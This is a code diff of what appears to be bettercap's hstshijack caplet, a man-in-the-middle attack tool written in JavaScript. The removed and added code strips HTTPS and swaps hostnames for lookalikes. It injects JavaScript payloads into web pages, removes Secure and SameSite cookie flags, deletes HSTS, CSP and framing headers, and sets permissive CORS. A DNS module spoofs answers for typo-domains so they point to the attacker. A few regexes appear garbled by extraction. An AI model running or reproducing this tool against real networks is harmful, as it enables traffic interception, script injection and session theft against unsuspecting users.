\n" +
- payload_container_prefix + injection + payload_container_suffix +
- "\n" +
- res.Body;
- }
- log_debug(on_blue + "hstshijack" + reset + " Injected document from " + bold + req.Hostname + reset + " for " + bold + req.Client.MAC + reset);
- }
- }
-
- /* Spoof JavaScript bodies. */
- if (selector_content_type_js.test(res.ContentType)) {
- /* Block scripts. */
- for (a = 0; a < block_script_hosts.length; a++) {
- if (
- block_script_hosts[a] === "*"
- || toWholeRegexpSet(block_script_hosts[a], "")[0].test(req.Hostname)
- ) {
- res.Body = "";
- log_debug(on_blue + "hstshijack" + reset + " Cleared JavaScript resource from " + bold + req.Hostname + reset + ".");
- break;
- }
- }
-
- /* Inject payloads. */
- injection = "";
- for (a = 0; a < Object.keys(payloads).length; a++) {
- injecting_host = Object.keys(payloads)[a];
- if (
- injecting_host === "*"
- || toWholeRegexpSet(injecting_host, "")[0].test(req.Hostname)
- ) {
- injection = injection + payloads[injecting_host];
- }
- }
- if (injection !== "") {
- res.Body = payload_container_prefix + injection + payload_container_suffix + res.Body;
- log_debug(on_blue + "hstshijack" + reset + " Injected JavaScript file from " + bold + req.Hostname + reset + " for " + bold + req.Client.MAC + reset);
- }
- }
-
- /* Strip SSL from location headers. */
- res.Headers = res.Headers
- .replace(selector_scheme_http_https_colon, "$1:")
- .replace(selector_port_https, "$1");
-
- /* Spoof hosts in headers. */
- for (a = 0; a < target_hosts.length; a++) {
- regexp_set = toRegexpSet(target_hosts[a], replacement_hosts[a]);
- res.Headers = res.Headers.replace(regexp_set[0], regexp_set[1]);
- }
-
- /* Remove secure cookie settings. */
- new_headers = "";
- res.Headers.split("\r\n").forEach(function(headerString){
- if (headerString !== "") {
- matches = headerString.match(selector_header);
- if (matches.length >= 3) {
- header_name = matches[1];
- header_value = matches[2];
- if (selector_header_set_cookie.test(header_name)) {
- new_header_value = "";
- cookie_params = header_value.split(";");
- cookie_params.forEach(function(cookie_param){
- if (cookie_param !== "") {
- stripped_cookie_param = cookie_param.match(selector_strip_whitespace)[1];
- if (!selector_header_set_cookie_secure_samesite.test(stripped_cookie_param)) {
- if (new_header_value === "") {
- new_header_value = stripped_cookie_param;
- } else {
- new_header_value += "; " + stripped_cookie_param;
- }
- }
- }
- });
- new_headers += header_name + ": " + new_header_value + "\r\n";
- } else {
- new_headers += header_name + ": " + header_value + "\r\n";
- }
- }
- }
- });
-
- /* Remove security headers. */
- res.Headers = res.Headers.replace(selector_header_csp, "");
- res.RemoveHeader("Strict-Transport-Security");
- res.RemoveHeader("Content-Security-Policy-Report-Only");
- res.RemoveHeader("Public-Key-Pins");
- res.RemoveHeader("Public-Key-Pins-Report-Only");
- res.RemoveHeader("X-Frame-Options");
- res.RemoveHeader("X-Content-Type-Options");
- res.RemoveHeader("X-Download-Options");
- res.RemoveHeader("X-Permitted-Cross-Domain-Policies");
- res.RemoveHeader("X-XSS-Protection");
- res.RemoveHeader("Expect-Ct");
-
- /* Set insecure headers. */
- allowed_origin = res.GetHeader("Access-Control-Allow-Origin", "*");
- if (allowed_origin !== "*") {
- for (a = 0; a < target_hosts.length; a++) {
- regexp_set = toRegexpSet(target_hosts[a], replacement_hosts[a]);
- regexp_set[0].lastIndex = 0;
- if (regexp_set[0].test(allowed_origin)) {
- allowed_origin = allowed_origin.replace(regexp_set[0], regexp_set[1]);
- break;
- }
- }
- }
- res.SetHeader("Content-Security-Policy", "default-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; worker-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: filesystem: 'unsafe-inline'; img-src * data: blob: filesystem: 'unsafe-inline'; frame-src * data: blob: filesystem: 'unsafe-inline'; object-src * data: blob: filesystem: 'unsafe-inline'; style-src * data: blob: filesystem: 'unsafe-inline'; report-uri x");
- res.SetHeader("X-WebKit-CSP", "default-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; worker-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: filesystem: 'unsafe-inline'; img-src * data: blob: filesystem: 'unsafe-inline'; frame-src * data: blob: filesystem: 'unsafe-inline'; object-src * data: blob: filesystem: 'unsafe-inline'; style-src * data: blob: filesystem: 'unsafe-inline'; report-uri x");
- res.SetHeader("X-Content-Security-Policy", "default-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; worker-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: filesystem: 'unsafe-inline'; img-src * data: blob: filesystem: 'unsafe-inline'; frame-src * data: blob: filesystem: 'unsafe-inline'; object-src * data: blob: filesystem: 'unsafe-inline'; style-src * data: blob: filesystem: 'unsafe-inline'; report-uri x");
- res.SetHeader("Access-Control-Allow-Credentials", "true");
- res.SetHeader("Access-Control-Allow-Origin", allowed_origin);
- res.SetHeader("Access-Control-Allow-Methods", "*");
- res.SetHeader("Access-Control-Allow-Headers", "*");
- res.SetHeader("Cache-Control", "no-cache, no-store, must-revalidate");
- res.SetHeader("Expires", "Fri, 20 Apr 2018 04:20:00 GMT");
- res.SetHeader("Pragma", "no-cache");
- }
-}
diff --git a/hstshijack/modules/dns.proxy.js b/hstshijack/modules/dns.proxy.js
new file mode 100644
index 0000000..59d7d2f
--- /dev/null
+++ b/hstshijack/modules/dns.proxy.js
@@ -0,0 +1,51 @@
+var addr = env("iface.ipv4");
+
+var Rrtype = {
+ None: 0,
+ A: 1,
+// CNAME: 5,
+// AAAA: 28,
+};
+
+var rxTargetedTlds = /\.(?:corn|clarity\.ns|googl|nel|ni|rne|al|cc\.uk|ch)[.]?$/ig;
+
+String.prototype.isTargeted = function() {
+ rxTargetedTlds.lastIndex = 0;
+ return rxTargetedTlds.test(this);
+};
+
+// We immediately reply to prevent DNS tunneling
+function onRequest(req, res) {
+ res.Header.Response = true;
+ res.Header.RecursionAvailable = true;
+
+ req.Questions.forEach(function(question) {
+ if (question.Qtype === Rrtype.A) {
+ if (question.Name.isTargeted()) {
+ res.Answers = res.Answers.concat({
+ A: addr,
+ Header: {
+ Class: question.Qclass,
+ Name: question.Name,
+ Rrtype: question.Qtype,
+ Ttl: 1,
+ },
+ });
+ }
+ }
+ // Respond with AAAA records if necessary
+ });
+
+ if (res.Answers.length === 0) {
+ res.Header.Rrtype = Rrtype.None;
+
+ // Silence DNS errors by clearing all records
+ res.Extras = [];
+ res.Nameserver = [];
+ }
+}
+
+function onResponse(req, res) {
+ console.log(JSON.stringify(res, "\t", 1));
+}
+
diff --git a/hstshijack/modules/hstshijack.js b/hstshijack/modules/hstshijack.js
new file mode 100644
index 0000000..e4d5a84
--- /dev/null
+++ b/hstshijack/modules/hstshijack.js
@@ -0,0 +1,1478 @@
+/**
+ * Documentation can be found at https://github.com/bettercap/caplets/tree/master/hstshijack
+ */
+
+var ssl = {
+ /* Prefix string mapped array of indexed domains. */
+ index: {},
+ /* Unicode hierarchy for domain names. */
+ hierarchy: "-.0123456789abcdefghijklmnopqrstuvwxyz",
+ /* Prefix hierarchy for domain names. */
+ prefixes: ["www.","a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","0","1","2","3","4","5","6","7","8","9"],
+};
+
+var payload,
+ payload_container_prefix =
+ "if (!globalThis.{{SESSION_ID_TAG}}) {\n" +
+ "globalThis.{{SESSION_ID_TAG}} = function() {\n",
+ payload_container_suffix =
+ "\n}\n" +
+ "globalThis.{{SESSION_ID_TAG}}();\n" +
+ "}\n";
+
+var ignore_hosts = [],
+ target_hosts = [],
+ replacement_hosts = [],
+ block_script_hosts = [],
+ rx_sets_global_target_hosts = [], // host.com->nothost.com
+ rx_sets_global_replacement_hosts = [], // nothost.com->host.com
+ rx_sets_global_target_http_origins = [], // http://host.com->https://host.com
+ rx_sets_whole_target_hosts = [], // ^host.com$->^nothost.com$
+ rx_sets_whole_replacement_hosts = []; // ^nothost.com$->^host.com$
+
+var payloads = {},
+ obfuscate;
+
+var replacements_req_body,
+ replacements_req_headers,
+ replacements_res_body,
+ replacements_res_headers,
+ rx_target_hosts_replacements_req_body = [],
+ rx_target_hosts_replacements_req_headers = [],
+ rx_target_hosts_replacements_res_body_html = [],
+ rx_target_hosts_replacements_res_body_javascript = [],
+ rx_target_hosts_replacements_res_body_json = [],
+ rx_target_hosts_replacements_res_headers = [];
+
+var callback_path,
+ whitelist_path,
+ ssl_index_path,
+ session_id,
+ varname_target_hosts,
+ varname_replacement_hosts;
+
+var cookie_host_prefix,
+ cookie_secure_prefix,
+ rx_global_cookie_host_prefix,
+ rx_global_cookie_secure_prefix,
+ downgrade_cookies;
+
+var ssl_discovery_delay,
+ ssl_discovery_synchronous;
+
+var math_seed;
+
+var whitelist = {};
+
+var rx_header_csp = /(?:x-webkit-csp|(?:x-)?content-security-policy)\s{0,100}:.*?\r\n/ig,
+ rx_header_cspro = /content-security-policy-report-only\s{0,100}:.*?\r\n/ig,
+ rx_header_corp = /cross-origin-resource-policy\s{0,100}:.*?\r\n/ig,
+ rx_content_type_html = /text[/](?:html|xml)|application[/](?:hta|xhtml[+]xml|xml)/i,
+ rx_content_type_js = /\S+\/javascript/i,
+ rx_content_type_json = /\S+\/json/i,
+ rx_doctype_html = //i,
+ rx_extension_html = /\.(?:html|htm|xml|xhtml|xhtm|xht|hta)$/i,
+ rx_extension_js = /\.(?:[m]?js|js[x]?)$/i,
+ rx_extension_json = /\.(?:json|map)$/i,
+ rx_uri_one = /^https:\/\/[a-z0-9]/i,
+ rx_uri_two = /^https:\/\/([^:/?#]+).*$/i,
+ rx_http_origin = /^(http:\/\/[a-z0-9-.]+).*/i,
+ rx_html_magic = /^\s{0,100})/ig,
+ rx_html_script_close_tag = /<\/script(\s|>)/ig,
+ rx_all_dashes = /-/g,
+ rx_all_dots = /\./g,
+ rx_scheme_http_https_colon = /(http)s:/ig,
+ rx_semicolon_separator = /\s{0,100};\s{0,100}/,
+ rx_port_https = /:443($|[^0-9])/g,
+ rx_regset_wildcard_one = /^\*\./,
+ rx_regset_wildcard_two = /\.\*$/,
+ rx_regset_wildcard_three = /\.\*$/g,
+ rx_regset_wildcard_four = /\.\*/g,
+ rx_query_param = /^([^=]*)=(.*)$/,
+ rx_cookie_host_prefix = /^__Host-/ig,
+ rx_cookie_secure_prefix = /^__Secure-/ig;
+
+var red = "\x1b[31m",
+ yellow = "\x1b[33m",
+ green = "\x1b[32m",
+/* lion stronger than machine */
+ blue = "\x1b[34m",
+ on_white = "\x1b[47;30m",
+ on_grey = "\x1b[40;37m",
+ on_blue = "\x1b[104;30m",
+ bold = "\x1b[1;37m",
+ reset = "\x1b[0m";
+
+/**
+ * @param {Object} cookie - Cookie object.
+ * @returns {String} header_value
+ */
+function cookieToResponseHeaderValue(cookie) {
+ if (typeof cookie.name !== "string" || cookie.name === "") {
+ log_error("error converting cookie to string: cookie has no name.");
+ return "";
+ }
+ var cookie_string = "";
+ if (typeof cookie.value === "string")
+ cookie_string = cookie.name + "=" + cookie.value
+ else return "";
+ if (typeof cookie.domain === "string" && cookie.domain !== "")
+ cookie_string += "; Domain=" + cookie.domain;
+ if (typeof cookie.path === "string" && cookie.path !== "")
+ cookie_string += "; Path=" + cookie.path;
+ if (typeof cookie.expires === "string" && cookie.expires !== "")
+ cookie_string += "; Expires=" + cookie.expires;
+ if (typeof cookie.maxAge === "string" && cookie.maxAge !== "")
+ cookie_string += "; Max-Age=" + cookie.maxAge;
+ if (typeof cookie.priority === "string" && cookie.priority !== "")
+ cookie_string += "; Priority=" + cookie.priority;
+ if (typeof cookie.sameSite === "string" && cookie.sameSite !== "")
+ cookie_string += "; SameSite=" + cookie.sameSite;
+ if (cookie.secure === true) cookie_string += "; Secure";
+ if (cookie.httpOnly === true) cookie_string += "; HttpOnly";
+ if (cookie.partitioned === true) cookie_string += "; Partitioned";
+ return cookie_string;
+}
+
+/**
+ * @param {String} cookie_string - Cookie string (Set-Cookie header value).
+ * @returns {Object} cookie
+ */
+function parseCookie(cookie_string) {
+ var cookie_attrs = cookie_string.split(rx_semicolon_separator);
+ if (cookie_attrs.length === 0) return null;
+ var cookie = {
+ name: "",
+ value: "",
+ domain: "",
+ path: "",
+ expires: "",
+ maxAge: "",
+ priority: "",
+ sameSite: "",
+ secure: false,
+ httpOnly: false,
+ partitioned: false,
+ };
+ cookie_attrs.forEach(function(attr, a) {
+ var separator_index = attr.indexOf('=');
+ var parts;
+ if (separator_index !== -1)
+ parts = [attr.slice(0, separator_index), attr.slice(separator_index + 1)]
+ else parts = [attr];
+ if (a === 0) {
+ cookie.name = parts[0];
+ if (parts.length === 2) cookie.value = parts[1];
+ } else {
+ switch (parts[0].toLowerCase()) {
+ case "domain":
+ if (parts.length === 2) cookie.domain = parts[1].toLowerCase();
+ break;
+ case "path":
+ if (parts.length === 2) cookie.path = parts[1];
+ break;
+ case "expires":
+ if (parts.length === 2) cookie.expires = parts[1];
+ break;
+ case "max-age":
+ if (parts.length === 2) {
+ var max_age = parseInt(parts[1]);
+ if (max_age !== NaN) cookie.maxAge = max_age.toString();
+ }
+ break;
+ case "priority":
+ if (parts.length === 2) cookie.priority = parts[1];
+ break;
+ case "samesite":
+ if (parts.length === 2) cookie.sameSite = parts[1];
+ break;
+ case "secure":
+ cookie.secure = true;
+ break;
+ case "httponly":
+ cookie.httpOnly = true;
+ break;
+ case "partitioned":
+ cookie.partitioned = true;
+ break;
+ default:
+ log_error("ignored an unexpected cookie attribute:", cookie_string);
+ break;
+ }
+ }
+ });
+ if (cookie.name !== "") return cookie;
+ log_error("cookie has no name:", cookie_string);
+ return null;
+}
+
+function randomString(length) {
+ length = parseInt(length);
+ var chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ",
+ buff = new Array(length);
+ for (var a = 0; a < buff.length; a++) {
+ index = parseInt(Math.random() * chars.length);
+ buff[a] = chars.charAt(index);
+ }
+ return buff.join("");
+}
+
+function toRegexp(selector_string, replacement_string) {
+ return [
+ new RegExp("(^|[^a-z0-9-.])" + selector_string.replace(rx_all_dots, "\\.") + "([^a-z0-9-.]|$)", "ig"),
+ "$1" + replacement_string + "$2"
+ ];
+}
+
+function toHttpOriginRegexp(selector_string, replacement_string) {
+ return [
+ new RegExp("http://" + selector_string.replace(rx_all_dots, "\\.") + "([^a-z0-9-.]|$)", "ig"),
+ "https://" + replacement_string + "$2"
+ ];
+}
+
+function toWholeRegexp(selector_string, replacement_string) {
+ return [
+ new RegExp("^" + selector_string.replace(rx_all_dots, "\\.") + "$", "ig"),
+ replacement_string
+ ];
+}
+
+function toWildcardRegexp(selector_string, replacement_string) {
+ selector_string = selector_string.replace(rx_all_dashes, "\\-");
+ if (rx_regset_wildcard_one.test(selector_string)) {
+ selector_string = selector_string.replace(rx_regset_wildcard_one, "((?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?.)+)");
+ selector_string = selector_string.replace(rx_all_dots, "\\.");
+ selector_string = selector_string + "([^a-z0-9-.]|$)";
+ replacement_string = replacement_string.replace(rx_regset_wildcard_one, "");
+ return [
+ new RegExp(selector_string, "ig"),
+ "$1" + replacement_string + "$2"
+ ];
+ } else if (rx_regset_wildcard_two.test(selector_string)) {
+ selector_string = selector_string.replace(rx_regset_wildcard_three, "((?:.[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?)+)");
+ selector_string = selector_string.replace(rx_all_dots, "\\.");
+ selector_string = "(^|[^a-z0-9-.])" + selector_string;
+ replacement_string = replacement_string.replace(rx_regset_wildcard_two, "");
+ return [
+ new RegExp(selector_string, "ig"),
+ "$1" + replacement_string + "$2"
+ ];
+ } else {
+ log_error(on_blue + "hstshijack" + reset + " Invalid toWildcardRegexp() value (got " + selector_string + ").");
+ }
+}
+
+function toWildcardHttpOriginRegexp(selector_string, replacement_string) {
+ selector_string = selector_string.replace(rx_all_dashes, "\\-");
+ if (rx_regset_wildcard_one.test(selector_string)) {
+ selector_string = selector_string.replace(rx_regset_wildcard_one, "((?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?.)+)");
+ selector_string = selector_string.replace(rx_all_dots, "\\.");
+ selector_string = "http://" + selector_string + "([^a-z0-9-.]|$)";
+ replacement_string = replacement_string.replace(rx_regset_wildcard_one, "");
+ return [
+ new RegExp(selector_string, "ig"),
+ "https://$1" + replacement_string + "$2"
+ ];
+ } else if (rx_regset_wildcard_two.test(selector_string)) {
+ selector_string = selector_string.replace(rx_regset_wildcard_three, "((?:.[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?)+)");
+ selector_string = selector_string.replace(rx_all_dots, "\\.");
+ selector_string = "http://" + selector_string;
+ replacement_string = replacement_string.replace(rx_regset_wildcard_two, "");
+ return [
+ new RegExp(selector_string, "ig"),
+ "https://" + replacement_string + "$1"
+ ];
+ } else {
+ log_error(on_blue + "hstshijack" + reset + " Invalid toWildcardHttpOriginRegexp() value (got " + selector_string + ").");
+ }
+}
+
+function toWholeWildcardRegexp(selector_string, replacement_string) {
+ selector_string = selector_string.replace(rx_all_dashes, "\\-");
+ if (rx_regset_wildcard_one.test(selector_string)) {
+ selector_string = selector_string.replace(rx_regset_wildcard_one, "((?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?.)+)");
+ selector_string = selector_string.replace(rx_all_dots, "\\.");
+ replacement_string = replacement_string.replace(rx_regset_wildcard_one, "");
+ return [
+ new RegExp("^" + selector_string + "$", "ig"),
+ "$1" + replacement_string
+ ];
+ } else if (rx_regset_wildcard_two.test(selector_string)) {
+ selector_string = selector_string.replace(rx_regset_wildcard_four, "((?:.[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?)+)");
+ selector_string = selector_string.replace(rx_all_dots, "\\.");
+ replacement_string = replacement_string.replace(rx_regset_wildcard_two, "");
+ return [
+ new RegExp(selector_string, "ig"),
+ replacement_string + "$1"
+ ];
+ } else {
+ log_error(on_blue + "hstshijack" + reset + " Invalid toWholeWildcardRegexp() value (got " + selector_string + ").");
+ }
+}
+
+/* Matches /(^|[^a-z0-9-.])example\.com([^a-z0-9-.]|$)/ig */
+function toRegexpSet(selector_string, replacement_string) {
+ if (selector_string.indexOf("*") !== -1) {
+ return toWildcardRegexp(selector_string, replacement_string);
+ } else {
+ return toRegexp(selector_string, replacement_string);
+ }
+}
+
+/* Matches /http:\/\/example\.com([^a-z0-9-.]|$)/ig */
+function toHttpOriginRegexpSet(selector_string, replacement_string) {
+ if (selector_string.indexOf("*") !== -1) {
+ return toWildcardHttpOriginRegexp(selector_string, replacement_string);
+ } else {
+ return toHttpOriginRegexp(selector_string, replacement_string);
+ }
+}
+
+/* Matches ^example.com$ */
+function toWholeRegexpSet(selector_string, replacement_string) {
+ if (selector_string.indexOf("*") !== -1) {
+ return toWholeWildcardRegexp(selector_string, replacement_string);
+ } else {
+ return toWholeRegexp(selector_string, replacement_string);
+ }
+}
+
+/* Saves the list of domains using SSL, as well as its index ranges. */
+function saveSSLIndex() {
+ domains = [];
+ for (a = 0; a !== ssl.prefixes.length; a++) {
+ prefix = ssl.prefixes[a];
+ domains = domains.concat(ssl.index[prefix]);
+ }
+ ssl.domains = domains;
+ writeFile(env["hstshijack.ssl.domains"], domains.join("\n"));
+ writeFile(env["hstshijack.ssl.index"], JSON.stringify(ssl.index));
+}
+
+/* Saves the whitelist. */
+function saveWhitelist() {
+ writeFile(env["hstshijack.whitelist"], JSON.stringify(whitelist));
+}
+
+/* Returns the amount of characters of an identical prefix of two given strings. */
+function getMatchingPrefixLength(string1, string2) {
+ count = 0;
+ if (string1.length > string2.length) {
+ for (a = 0; a !== string2.length; a++) {
+ if (string1.charAt(a) !== string2.charAt(a)) {
+ break;
+ }
+ count++;
+ }
+ } else {
+ for (a = 0; a !== string1.length; a++) {
+ if (string1.charAt(a) !== string2.charAt(a)) {
+ break;
+ }
+ count++;
+ }
+ }
+ return count;
+}
+
+/* Returns true if domain1 gets alphanumeric precendence over domain2. */
+function getsPrecedence(domain1, domain2) {
+ if (domain1.length > domain2.length) {
+ /* If the first given domain is longer than the second. */
+ for (a = 0; a !== domain2.length; a++) {
+ rank1 = ssl.hierarchy.indexOf(domain1.charAt(a));
+ rank2 = ssl.hierarchy.indexOf(domain2.charAt(a));
+ if (rank1 > rank2) {
+ return false;
+ } else if (rank1 < rank2) {
+ return true;
+ }
+ }
+ return false;
+ } else {
+ /* If the second given domain is longer than the first. */
+ for (a = 0; a !== domain1.length; a++) {
+ rank1 = ssl.hierarchy.indexOf(domain1.charAt(a));
+ rank2 = ssl.hierarchy.indexOf(domain2.charAt(a));
+ if (rank1 > rank2) {
+ return false;
+ } else if (rank1 < rank2) {
+ return true;
+ }
+ }
+ return true;
+ }
+}
+
+/* Returns the index of a given domain. */
+function getDomainIndex(domain) {
+ domain = domain.toLowerCase();
+ for (a = 0; a !== ssl.prefixes.length; a++) {
+ prefix = ssl.prefixes[a];
+ if (domain.startsWith(prefix)) {
+ return ssl.index[prefix].indexOf(domain);
+ }
+ }
+}
+
+/* Index a new domain. */
+function indexDomain(domain) {
+ domain = domain.toLowerCase();
+ domain_prefix = "";
+ for (a = 0; a !== ssl.prefixes.length; a++) {
+ prefix = ssl.prefixes[a];
+ if (domain.startsWith(prefix)) {
+ domain_prefix = prefix;
+ break;
+ }
+ }
+ indexed_domains = ssl.index[domain_prefix];
+ if (indexed_domains.indexOf(domain) === -1) {
+ /* This domain is not indexed yet. */
+ log_debug(on_blue + "hstshijack" + reset + " Indexing domain " + bold + domain + reset + " ...");
+ if (indexed_domains.length !== 0) {
+ for (a = 0; a < indexed_domains.length; a++) {
+ indexed_domain = indexed_domains[a];
+ if (getsPrecedence(domain, indexed_domain)) {
+ ssl.index[domain_prefix] = indexed_domains.slice(0, a)
+ .concat(domain)
+ .concat(indexed_domains.slice(a, indexed_domains.length));
+ saveSSLIndex();
+ return;
+ }
+ }
+ ssl.index[domain_prefix].push(domain);
+ } else {
+ ssl.index[domain_prefix] = [domain];
+ }
+ saveSSLIndex();
+ } else {
+ /* This domain is already indexed. */
+ log_debug(on_blue + "hstshijack" + reset + " Skipped already indexed domain " + bold + domain + reset);
+ }
+}
+
+function configure() {
+ /* Read caplet. */
+ env["hstshijack.ignore"]
+ ? ignore_hosts = env["hstshijack.ignore"].replace(/\s/g, "").split(",")
+ : ignore_hosts = [];
+ env["hstshijack.targets"]
+ ? target_hosts = env["hstshijack.targets"].replace(/\s/g, "").split(",")
+ : target_hosts = [];
+ env["hstshijack.replacements"]
+ ? replacement_hosts = env["hstshijack.replacements"].replace(/\s/g, "").split(",")
+ : replacement_hosts = [];
+ env["hstshijack.blockscripts"]
+ ? block_script_hosts = env["hstshijack.blockscripts"].replace(/\s/g, "").split(",")
+ : block_script_hosts = [];
+ env["hstshijack.obfuscate"]
+ ? obfuscate = env["hstshijack.obfuscate"].replace(/\s/g, "").toLowerCase() === "true" ? true : false
+ : obfuscate = false;
+ env["hstshijack.cookies.downgrade"]
+ ? downgrade_cookies = env["hstshijack.cookies.downgrade"].replace(/\s/g, "").toLowerCase() === "true" ? true : false
+ : downgrade_cookies = false;
+
+ /* Validate caplet. */
+ if (target_hosts.length < replacement_hosts.length) {
+ log_fatal(on_blue + "hstshijack" + reset + " Too many hstshijack.replacements (got " + replacement_hosts.length + ").");
+ }
+ if (target_hosts.length > replacement_hosts.length) {
+ log_fatal(on_blue + "hstshijack" + reset + " Not enough hstshijack.replacements (got " + replacement_hosts.length + ").");
+ }
+ if (target_hosts.indexOf("*") !== -1) {
+ log_fatal(on_blue + "hstshijack" + reset + " Invalid hstshijack.targets value (got *).");
+ }
+ if (replacement_hosts.indexOf("*") !== -1) {
+ log_fatal(on_blue + "hstshijack" + reset + " Invalid hstshijack.replacements value (got *).");
+ }
+
+ var rx_whole_prefix_wildcard_domain = /^(?:\*\.[a-z]{1,63}|(?:(?:\*\.|)(?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.)+(?:[a-z]{1,63})))$/i;
+ var rx_whole_suffix_wildcard_domain = /^(?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.)+\*$/i;
+ for (a = 0; a < ignore_hosts.length; a++) {
+ if (
+ !/^\*$/i.test(ignore_hosts[a])
+ && !rx_whole_prefix_wildcard_domain.test(ignore_hosts[a])
+ && !rx_whole_suffix_wildcard_domain.test(ignore_hosts[a])
+ ) {
+ log_fatal(on_blue + "hstshijack" + reset + " Invalid hstshijack.ignore value (got " + ignore_hosts[a] + ").");
+ }
+ }
+
+ for (a = 0; a < target_hosts.length; a++) {
+ if (
+ !rx_whole_prefix_wildcard_domain.test(target_hosts[a])
+ && !rx_whole_suffix_wildcard_domain.test(target_hosts[a])
+ ) {
+ log_fatal(on_blue + "hstshijack" + reset + " Invalid hstshijack.targets value (got " + target_hosts[a] + ").");
+ }
+
+ if (
+ !rx_whole_prefix_wildcard_domain.test(replacement_hosts[a])
+ && !rx_whole_suffix_wildcard_domain.test(replacement_hosts[a])
+ ) {
+ log_fatal(on_blue + "hstshijack" + reset + " Invalid hstshijack.replacements value (got " + replacement_hosts[a] + ").");
+ }
+
+ if (/\*/g.test(target_hosts[a]) || /\*/g.test(replacement_hosts[a])) {
+ target_host_wildcard_count = target_hosts[a].match(/\*/g).length || 0;
+ replacement_host_wildcard_count = replacement_hosts[a].match(/\*/g).length || 0;
+ if (target_host_wildcard_count !== replacement_host_wildcard_count) {
+ log_fatal(on_blue + "hstshijack" + reset + " Invalid hstshijack.targets or hstshijack.replacements value, wildcards do not match (got " + target_hosts[a] + " and " + replacement_hosts[a] + ").");
+ }
+ }
+ }
+
+ for (a = 0; a < target_hosts.length; a++) {
+ /* Precompile regex sets for hostname spoofing. */
+ rx_sets_global_target_hosts.push(toRegexpSet(target_hosts[a], replacement_hosts[a]));
+ rx_sets_global_replacement_hosts.push(toRegexpSet(replacement_hosts[a], target_hosts[a]));
+ /* Precompile whole regex sets for hostname spoofing. */
+ rx_sets_whole_target_hosts.push(toWholeRegexpSet(target_hosts[a], replacement_hosts[a]));
+ rx_sets_whole_replacement_hosts.push(toWholeRegexpSet(replacement_hosts[a], target_hosts[a]));
+ /* Precompile regex sets for restoring HTTPS. */
+ rx_sets_global_target_http_origins.push(toHttpOriginRegexpSet(target_hosts[a], target_hosts[a]));
+ }
+
+ for (a = 0; a < block_script_hosts.length; a++) {
+ if (
+ !/^\*$/i.test(block_script_hosts[a])
+ && !rx_whole_prefix_wildcard_domain.test(block_script_hosts[a])
+ && !rx_whole_suffix_wildcard_domain.test(block_script_hosts[a])
+ ) {
+ log_fatal(on_blue + "hstshijack" + reset + " Invalid hstshijack.blockscripts value (got " + block_script_hosts[a] + ").");
+ }
+ }
+
+ /* Prepare response body regex replacements. */
+ env["hstshijack.replacements.res.body"]
+ ? replacements_res_body_path = env["hstshijack.replacements.res.body"].replace(/\s/g, "")
+ : replacements_res_body_path = "";
+ try {
+ replacements_res_body = JSON.parse(readFile(replacements_res_body_path));
+ } catch (err) {
+ log_fatal(err);
+ }
+ if (!replacements_res_body.html || typeof replacements_res_body.html !== "object")
+ replacements_res_body.html = {};
+ if (!replacements_res_body.javascript || typeof replacements_res_body.javascript !== "object")
+ replacements_res_body.javascript = {};
+ if (!replacements_res_body.json || typeof replacements_res_body.json !== "object")
+ replacements_res_body.json = {};
+ var host_selector_strings_html = Object.keys(replacements_res_body.html);
+ var host_selector_strings_javascript = Object.keys(replacements_res_body.javascript);
+ var host_selector_strings_json = Object.keys(replacements_res_body.json);
+ for (a = 0; a < host_selector_strings_html.length; a++) {
+ var selector_string = host_selector_strings_html[a];
+ if (selector_string === "*") {
+ rx_target_hosts_replacements_res_body_html.push(new RegExp(".*"));
+ } else {
+ rx_target_hosts_replacements_res_body_html.push(
+ toWholeRegexpSet(selector_string, "")[0]);
+ }
+ for (b = 0; b < replacements_res_body.html[selector_string].length; b++) {
+ var rx_set = replacements_res_body.html[selector_string][b];
+ replacements_res_body.html[selector_string][b] = [
+ new RegExp(rx_set[0], rx_set[1]),
+ rx_set[2],
+ ];
+ }
+ }
+ for (a = 0; a < host_selector_strings_javascript.length; a++) {
+ var selector_string = host_selector_strings_javascript[a];
+ if (selector_string === "*") {
+ rx_target_hosts_replacements_res_body_javascript.push(new RegExp(".*"));
+ } else {
+ rx_target_hosts_replacements_res_body_javascript.push(
+ toWholeRegexpSet(selector_string, "")[0]);
+ }
+ for (b = 0; b < replacements_res_body.javascript[selector_string].length; b++) {
+ var rx_set = replacements_res_body.javascript[selector_string][b];
+ replacements_res_body.javascript[selector_string][b] = [
+ new RegExp(rx_set[0], rx_set[1]),
+ rx_set[2],
+ ];
+ }
+ }
+ for (a = 0; a < host_selector_strings_json.length; a++) {
+ var selector_string = host_selector_strings_json[a];
+ if (selector_string === "*") {
+ rx_target_hosts_replacements_res_body_json.push(new RegExp(".*"));
+ } else {
+ rx_target_hosts_replacements_res_body_json.push(
+ toWholeRegexpSet(selector_string, "")[0]);
+ }
+ for (b = 0; b < replacements_res_body.json[selector_string].length; b++) {
+ var rx_set = replacements_res_body.json[selector_string][b];
+ replacements_res_body.json[selector_string][b] = [
+ new RegExp(rx_set[0], rx_set[1]),
+ rx_set[2],
+ ];
+ }
+ }
+
+ /* Prepare request headers regex replacements. */
+ env["hstshijack.replacements.req.headers"]
+ ? replacements_req_headers_path = env["hstshijack.replacements.req.headers"].replace(/\s/g, "")
+ : replacements_req_headers_path = "";
+ try {
+ replacements_req_headers = JSON.parse(readFile(replacements_req_headers_path));
+ } catch (err) {
